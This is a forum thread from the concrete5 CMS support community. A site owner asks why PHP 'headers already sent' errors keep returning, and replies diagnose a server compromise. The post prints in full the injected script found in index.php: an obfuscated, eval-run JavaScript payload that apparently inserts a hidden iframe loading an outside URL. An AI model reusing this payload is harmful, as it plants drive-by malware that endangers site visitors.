Header Error - continually appearing in header and also in index.php

Permalink
If anyone can help urgently with this it would be great.
The error I get at the top of the page:

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/justdes3/public_html/campohana.org/index.php:1) in /home/justdes3/public_html/campohana.org/concrete/startup/session.php on line 22

Warning: Cannot modify header information - headers already sent by (output started at /home/justdes3/public_html/campohana.org/index.php:1) in /home/justdes3/public_html/campohana.org/concrete/libraries/view.php on line 841

I subsequently deleted all "/files/cache/" and also "/files/tmp/"… and after backing up the main website files, I deleted concrete5 and re-installed it, linking to the sane database. But the same issues continued. Following is the issue as it exists now.

Throughout this I have read some fixes in the forum...
I went to my /index.php file and there appeared random code at the beginning of .php file… right before the opening of the php. I also ensure that there is no empty space etc. I deleted this random code, and the site worked again 100% fine. I repeat this whenever this header error appears...

However, the first error (above) appeared again after 2-3 hours, and the random code re-appeared in the "index.php" file. This random code that appears within the index.php file I have copied below.

<script>if(window.document)try{location(12);}catch(qqq){aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window.eval;t='y';}h=-2*Math.log(Math.E);n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57a47.5a56.5a51.5a27a27a26.5a27a22a56.5a49.5a56a58a49.5a50.5a47.5a53.5a49.5a22a48.5a54.5a53.5a22.5a56.5a57a49a56.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57a47.5a56.5a51.5a27a27a26.5a27a22a56.5a49.5a56a58a49.5a50.5a47.5a53.5a49.5a22a48.5a54.5a53.5a22.5a56.5a57a49a56.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a");for(i=0;0>-n.length+i;i++){j=i;ss=ss+s[f](-h*(1+1*n[j]));}if(1)q=ss;if(f)e(q);</script><?php 
require('concrete/dispatcher.php');


I am sure the error will appear again and I was wondering if anyone may know what is causing this to occur?
Many thanks

View Replies: View Best Answer
olliephillips replied on at Permalink Best Answer Reply
olliephillips
I would change your FTP password. Looks like something (malware) is writing to your index.php. That's causing all your errors.
ceanndesign replied on at Permalink Reply
Thanks for your reply. I tried changing both the FTP and database password and unfortunately the issue reoccurred.

Do you have any other suggestions as to what may be going wrong?
jordanlev replied on at Permalink Reply
jordanlev
I agree with @olliephillips -- your server has been hacked somehow. You need to take this issue up with your web hosting company or get some kind of IT person to help you address this. It is nothing that anyone here on the forums can help you with.

Sorry :(
ceanndesign replied on at Permalink Reply
Thanks for taking the time to check this out, really appreciated. Looking at the errors myself I didn't know what they meant, so it's great to have an idea... It's a bummer that the server has been hacked, but these things happen.
friedmand replied on at Permalink Reply
Did you ever find out what the errors in your sesson.php and view.php were? I'm actually having the same error messages on a site that I'm trying to move from one directory to the root.
ceanndesign replied on at Permalink Reply
Based on the error I had it almost certainly was malware that somehow got into the site. I used a previous backup of my C5 database and changed the various details (database & FTP usernames/passwords) and that seemed to fix the issue. Things have been running smoothly since then.